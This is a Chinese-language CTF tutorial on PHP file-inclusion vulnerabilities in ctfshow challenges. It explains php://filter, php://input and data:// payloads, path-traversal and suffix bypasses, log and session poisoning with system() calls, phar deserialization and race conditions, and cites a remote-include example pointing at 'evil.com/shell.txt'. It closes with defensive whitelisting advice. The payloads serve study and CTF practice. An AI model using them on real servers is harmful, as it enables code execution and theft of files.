1. 项目概述从“文件包含”到实战通关如果你在CTF的Web赛道上摸爬滚打过一阵子尤其是刷过ctfshow的题目那“文件包含”这个漏洞类型绝对是你绕不开的经典关卡。它不像SQL注入那样直接了当也不像XSS那样花样百出但它的灵活性和对系统底层的触及深度常常能让你在看似无路可走时找到一条“曲线救国”的通关路径。我最初接触文件包含时也以为就是简单的include一下服务器上的文件直到在ctfshow的题目里被各种过滤、限制、奇技淫巧反复“教育”后才真正体会到这个漏洞的深邃之处。今天我就结合自己踩过的坑和总结的经验带你彻底拆解ctfshow中的文件包含漏洞从最基础的原理到那些让人拍案叫绝的绕过技巧我们一次讲透。简单来说文件包含漏洞允许攻击者将服务器上的本地文件或远程文件包含到当前的脚本执行流程中。在ctfshow的题目语境下这通常意味着我们可以利用这个漏洞去读取敏感的配置文件如/etc/passwd、网站源码index.php甚至通过包含临时文件或日志文件来执行任意代码最终拿到flag。这个系列之所以值得“超详解”是因为它几乎涵盖了文件包含所有常见的考点和变形从无过滤到严格过滤从本地包含到远程包含再到各种编码、协议、条件竞争的利用。理解它不仅是解几道题更是构建Web安全中“利用链”思维的关键一环。2. 漏洞核心原理与基础利用手法2.1 文件包含漏洞究竟是如何产生的要利用一个漏洞首先得知道它从哪来。文件包含漏洞的根源在于程序在引入外部文件时使用了用户可控的变量作为文件名且没有经过严格的校验或过滤。以PHP为例最常见的危险函数有四个include()、require()、include_once()、require_once()。它们的区别主要在于错误处理require出错会致命include只会警告和重复包含处理但在漏洞利用上本质相同。看一个最简单的漏洞代码// vuln.php $file $_GET[file]; include($file . .php);这段代码的本意可能是想包含一个如header.php或footer.php这样的模板文件。开发者觉得拼接了.php后缀就安全了因为只能包含PHP文件。但攻击者传入file../../../etc/passwd%00时在PHP早期版本5.3.4中%00空字节会截断后面的.php从而成功包含/etc/passwd文件。这就是经典的“空字节截断”漏洞。虽然在高版本PHP中空字节截断已被修复但这种“用户输入直接拼接进包含路径”的思维是万恶之源。文件包含分为两类本地文件包含LFI包含的是服务器本地的文件。就像上面的例子我们可以通过目录遍历../读取系统任意文件前提是有权限。远程文件包含RFI包含的是远程服务器上的文件。这需要php.ini中allow_url_include设置为On默认是Off。如果开启攻击者可以传入filehttp://evil.com/shell.txt让服务器去包含远程的恶意脚本并执行危害极大。ctfshow题目中为了降低难度和模拟真实环境RFI场景较少但原理必须清楚。注意包含文件时被包含的文件内容会被当作PHP代码执行如果该文件内容符合PHP语法否则会直接输出其文本内容。这是文件包含能导致代码执行的关键。2.2 基础利用读取源码与敏感信息在ctfshow的入门题目中文件包含最直接的利用就是读取源代码和系统文件这也是信息收集的关键步骤。1. 读取PHP源码为什么需要读源码因为flag可能写在源码里或者源码泄露了其他漏洞的线索。但直接包含.php文件服务器会执行它而不是显示源代码。这时就需要用到PHP内置的“包装器”。php://filter协议这是最常用、最强大的工具。它可以对数据流进行过滤。读取源码的经典Payload?filephp://filter/readconvert.base64-encode/resourceindex.php这个Payload的意思是使用php://filter协议对index.php这个资源进行读取并在读取过程中应用一个过滤器将内容转换为base64编码。服务器执行这行“包含”语句时会先读取index.php的源码然后进行base64编码最后输出。我们拿到base64字符串后解码就能得到原始的PHP源代码而不会被执行。zip://协议如果题目提供的是一个zip压缩包你可以尝试包含其中的文件。例如?filezip://path/to/archive.zip%23file.txt注意#需要URL编码为%23。2. 读取系统敏感文件通过目录遍历../可以尝试读取服务器上的各种配置文件这有助于了解服务器环境甚至找到数据库密码、flag位置等。/etc/passwd经典靶子用于验证LFI是否存在。/proc/self/environ存储了当前进程的环境变量。如果Web服务器如Apache允许通过$_SERVER变量传递用户可控的头部如User-Agent我们可以将恶意代码写入User-Agent然后包含此文件来执行代码。这在ctfshow某些题目中是解题关键。日志文件如Apache的/var/log/apache2/access.log。我们的HTTP请求会被记录在此。如果我们把PHP代码作为请求的一部分比如在User-Agent头中再包含这个日志文件代码就有可能被执行。但需要日志文件可读并且其中的PHP代码不会被转义。临时文件通过上传功能或PHP的php://temp、php://memory流创建临时文件利用包含和执行的微小时间差条件竞争来执行代码这是高阶技巧。实操心得在ctfshow题目中第一步永远是测试是否存在文件包含以及过滤了哪些字符。一个简单的测试顺序是先尝试?file../../../../etc/passwd看能否读取再尝试?filephp://filter/resourceindex.php看是否过滤了php://最后尝试?filedata://text/plain,?php phpinfo();?如果allow_url_include开启测试RFI。快速的信息收集能帮你确定解题方向。3. ctfshow文件包含题目常见过滤与绕过技巧ctfshow题目的精髓在于“层层设防步步绕过”。下面我梳理了从入门到进阶常见的过滤手段及对应的绕过方法。3.1 关键词过滤与编码绕过开发者意识到直接包含文件很危险于是开始过滤关键词。场景1过滤../和..\等路径穿越字符绕过方法1绝对路径。如果知道flag或目标文件的绝对路径直接使用。例如flag在/flag直接?file/flag。绕过方法2双写绕过。如果过滤是简单的str_replace(../, )可以使用..././或....//。经过一次替换后中间的../被删掉剩下的字符又组合成了新的../。例如....//- 替换中间的../- 剩下../。绕过方法3编码绕过。URL编码、双重URL编码、Unicode编码等。../可以编码为%2e%2e%2f(URL编码) 或..%2f或%2e%2e/。在Windows环境下还可以尝试使用..\反斜杠其编码为..%5c。绕过方法4利用PHP的include_path。如果服务器设置了include_path且当前目录.在其中可以尝试包含当前目录下的文件而无需../。场景2过滤php、data、input等协议关键字绕过方法1大小写混合。PHP://、PhP://。某些简单的stristr()或正则匹配可能不区分大小写但php://协议本身是大小写不敏感的所以PHP://FILTER是可行的。绕过方法2使用其他协议。如果只过滤了php://可以尝试file://直接读取本地文件如file:///etc/passwd。zip:///phar://用于包含压缩包内的文件phar://在反序列化漏洞中也常用。expect://执行系统命令需安装并启用expect扩展极少见。绕过方法3协议嵌套。这是ctfshow中一种巧妙的绕过。例如过滤了php但我们可以用php://filter去包含php://input吗不行因为关键字被过滤。但可以用php://filter/readconvert.base64-encode/resourcephp://input吗也不行。但可以考虑用convert.iconv.*过滤器进行字符集转换有时能绕过简单的字符串匹配但这需要精准的构造。绕过方法4利用filter链的复杂性。php://filter的过滤器可以串联形成很长的字符串可能干扰简单的关键词匹配。例如php://filter/readconvert.base64-encode|convert.base64-encode/resourceindex.php多重编码。场景3强制或过滤文件后缀题目代码可能强制添加后缀如.php或过滤掉某些后缀如.php。绕过方法1%00空字节截断PHP5.3.4。如前所述?file../../../etc/passwd%00使.php被截断。绕过方法2路径长度截断PHP5.3。在Windows下路径最大256字节Linux下4096字节。通过填充超长路径使后缀被系统丢弃如?file../../../etc/passwd/./././././././././././.[重复数百次]。现代PHP版本已修复。绕过方法3利用?或#。在URL中?之后是查询参数#之后是锚点。如果服务器获取file参数时取到?或#就截止我们可以构造?file../../../etc/passwd?或?file../../../etc/passwd%23#的URL编码。这样对于include(../../../etc/passwd?.php)系统会尝试寻找../../../etc/passwd?这个文件而.php被当作查询字符串的一部分在文件系统层面不存在但某些配置下PHP可能会忽略?后的内容。这种方法成功率不高强烈依赖环境但可作为尝试思路。绕过方法4php://filter协议无视后缀。这是最可靠的方法。include(php://filter/readconvert.base64-encode/resourceflag);无论后面是否拼接了.phpresource后面的参数都被视为一个资源路径后缀添加不影响其被php://filter处理器解析。3.2 日志文件包含与条件竞争当直接包含和协议都被封死时日志文件包含是一条“借道”的奇径。利用步骤确认日志路径。常见路径/var/log/apache2/access.log/var/log/nginx/access.log/var/log/httpd/access_log。也可以通过报错信息或读取/proc/self/fd/文件描述符来推测。污染日志。在请求中将PHP代码插入到会被日志记录的字段。最常用的是User-Agent头因为我们可以直接控制。例如使用Burp Suite或curl发送请求curl -H User-Agent: ?php system(ls); ? http://target.com/vuln.php?filetest包含日志文件。发送请求?file/var/log/apache2/access.log。如果日志文件可读且其中的PHP标签没有被转义服务器在包含这个日志文件时就会执行我们插入的system(ls);代码。注意事项与技巧日志文件权限Web进程如www-data用户必须有读取日志文件的权限。日志内容转义日志可能会对特殊字符进行转义如将转为lt;导致PHP代码失效。需要测试。日志文件过大大日志文件可能导致包含过程缓慢或超时。可以尝试包含最近的分割日志如access.log.1或通过tail命令定位。利用/proc/self/environ原理类似。环境变量USER-AGENT、REFERER等可能被记录。包含/proc/self/environ文件如果其中某个环境变量我们可控比如通过修改请求头就能注入代码。但可控性通常比日志文件差。条件竞争Race Condition这是一种更高级的技巧常见于“上传包含”的组合题。题目允许上传文件但会很快删除比如检查文件内容后删除。同时存在文件包含点。解题思路是编写一个包含恶意代码的临时文件比如通过php://temp写入。同时发起两个并发请求一个请求不断上传这个临时文件另一个请求不断尝试包含这个临时文件的路径。利用上传成功到被删除之间的微小时间窗口让包含请求成功执行其中的代码。 这通常需要编写Python多线程脚本来自动化爆破对网络延迟和服务器处理速度非常敏感。4. ctfshow典型题目实战拆解与深度利用让我们结合ctfshow的具体题型综合网络热词中提到的部分关卡看看如何将上述技巧组合运用。4.1 Web入门系列中的文件包含如Web1-14相关题目这个系列是基础热身。常见套路是无过滤直接包含直接?file../../../../flag或?file/flag即可。过滤../但可用绝对路径尝试?file/var/www/html/flag.txt或直接?file/flag。添加后缀使用php://filter协议无视后缀或者尝试%00截断看PHP版本。关键词过滤尝试大小写、双写、编码。例如过滤flag可以尝试flflagag双写、fl%61gURL编码、fl\x61g十六进制等具体看过滤逻辑是str_replace还是preg_match。实战案例假设题目代码为$file str_replace(../, , $_GET[file]); include($file . .html);过滤了../并添加.html后缀。首先测试....//传入?file....//....//....//etc/passwd经过str_replace后中间的../被移除字符串变为../../../etc/passwd成功穿越目录。但后面还有.html最终变成../../../etc/passwd.html文件不存在。这时需要用%00截断PHP版本需支持或更可靠的php://filter。构造Payload?filephp://filter/readconvert.base64-encode/resource....//....//....//etc/passwd。resource参数接受路径经过str_replace后路径正确php://filter协议忽略后缀.html成功读取。4.2 涉及Session、日志包含的中阶题目这类题目需要更全面的信息收集和利用链构造。场景Session文件包含PHP的Session文件默认存储在/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]。Session内容部分可控通过$_SESSION数组。如果我们可以预测或控制Session文件名即PHPSESSID并且知道Session文件的存储路径就可以通过文件包含来执行我们写入Session的代码。通过设置Cookie如PHPSESSIDevil或接收服务端返回的Session ID来控制文件名。通过网站功能如“个人资料”更新向$_SESSION中写入数据例如$_SESSION[name] ?php phpinfo(); ?;。注意写入的代码需要避免被转义。包含Session文件?file/tmp/sess_evil。如果包含成功代码将被执行。场景Access Log包含如前所述这是经典手法。在ctfshow题目中可能需要你先通过其他信息泄露如phpinfo()找到日志的准确路径或者尝试常见路径。场景/proc/self/environ包含这需要Web服务器如Apache配置了允许通过PassEnv或SetEnv传递系统环境变量并且攻击者能控制某个特定的环境变量通常通过修改HTTP请求头。在CTF中这常被设计为可控点。使用Burp修改User-Agent为PHP代码然后包含/proc/self/environ。4.3 高阶绕过编码、过滤器与协议嵌套当所有常规路径都被堵死时就需要祭出更精巧的武器。1.convert.iconv.*过滤器的妙用php://filter的convert.iconv.*过滤器用于转换字符编码。它不仅可以用来处理数据在某些脑洞题中还能用于构造特殊的字符串来绕过过滤。 例如题目过滤了“flag”这个词。我们可以尝试包含一个内容为“flag”的文件但在包含过程中使用convert.iconv.UTF-8.UTF-16BE等过滤器对其进行编码转换。输出的内容虽然变了但如果我们知道转换规则就可以反向解码得到原始内容。更高级的用法是利用过滤器链制造一个“编码后的攻击载荷”使其在过滤检查时不被识别但在最终包含时被正确解码。这需要对字符编码有较深理解在ctfshow的难题中可能出现。2.php://input与POST数据利用当allow_url_includeOn且php://input未被过滤时这是强大的代码执行入口。GET /vuln.php?filephp://input HTTP/1.1 ... POST数据?php system(ls /); ?服务器会将POST的原始数据作为file指向的“文件”内容来包含并执行。这相当于直接执行任意代码无需任何文件落地。3.data://协议的直接代码执行同样需要allow_url_includeOn。?filedata://text/plain,?php phpinfo();? // 或者base64编码避免特殊字符问题 ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg这相当于一个简化的RFI将数据直接内嵌在URI中执行。4.phar://协议与反序列化结合phar://协议可以用于包含PHARPHP归档文件中的内容。而PHAR文件的元数据metadata部分会被自动反序列化。这意味着如果存在文件包含点并且我们能上传一个精心构造的PHAR文件可以伪装成JPG等图片就可以触发反序列化漏洞执行任意代码。这是文件包含与反序列化漏洞的“组合技”在复杂的Web题中威力巨大。5. 实战问题排查与防御思考5.1 常见问题与调试技巧在实战解题或测试时你可能会遇到以下问题包含文件后页面空白或报错“No such file or directory”检查路径确认路径是否正确。使用绝对路径最可靠。可以尝试包含一个已知存在的文件比如?file./index.php来测试基础功能是否正常。检查权限Web进程用户如www-data是否有权读取目标文件尝试读取/etc/passwd通常可读来验证。查看错误信息开启PHP的display_errors在CTF中有时题目会开启可以获取详细报错。或者通过php://filter包含/var/log/apache2/error.log查看错误日志。php://filter协议被过滤或无效确认PHP版本和支持的包装器使用phpinfo()页面查看allow_url_fopen和allow_url_include的设置以及支持的协议列表。尝试协议名称大小写。尝试简化Payload先测试?filephp://filter/resource/etc/passwd不进行编码转换看是否能正常包含。日志文件包含不执行代码检查日志内容先直接包含日志文件查看我们插入的User-Agent是否被原样记录还是被HTML转义了。检查PHP标签确保插入的是?php ... ?短标签并且前后没有多余空格或换行导致标签被破坏。尝试其他头部X-Forwarded-For、Referer等头部也可能被记录。条件竞争总是失败增大时间窗口如果上传后有一个复杂的检查流程时间窗口可能较大。分析源码逻辑如果能看到。提高并发量用更多的线程/进程去爆破。考虑其他利用链是否一定要用条件竞争有没有其他文件包含的利用点比如session、environ5.2 从攻击者视角看防御理解了攻击才能更好地防御。作为开发者避免文件包含漏洞应做到白名单制度这是最有效的方法。不要使用用户输入直接作为包含文件名。如果需要动态包含应预先定义好允许包含的文件列表白名单用户输入只能从白名单中选择。$allowed_files [header.php, footer.php, sidebar.php]; $file $_GET[module]; if (in_array($file, $allowed_files)) { include($file); } else { include(default.php); }固定后缀如果必须动态拼接确保后缀是固定的并且在前端对用户输入进行严格的路径净化。$page basename($_GET[page]); // 去除路径部分 $page str_replace([../, ./, ..\\, .\\, /, \\], , $page); // 移除路径遍历字符 include(./pages/ . $page . .php);即使这样也要警惕%00截断确保PHP版本5.3.4和通过php://filter等协议的绕过。禁用危险配置在生产环境中确保php.ini中allow_url_fopen和allow_url_include设置为Off。关闭不必要的PHP包装器。设置open_basedir将PHP可访问的文件限制在网站根目录及其子目录下防止跨目录读取系统文件。对用户输入进行严格过滤和验证不仅仅是替换../要使用正则表达式严格匹配允许的字符模式如只允许字母、数字、下划线。文件包含漏洞的防御核心在于永远不要相信用户输入的文件路径尽可能将其转换为一个确定的、受控的标识符再映射到真实的服务器文件路径。通过ctfshow这一系列题目的锤炼你不仅能掌握各种刁钻的绕过技巧更能深刻理解“输入验证”和“最小权限原则”在安全开发中的至关重要性。这些经验远比解出几道题本身更有价值。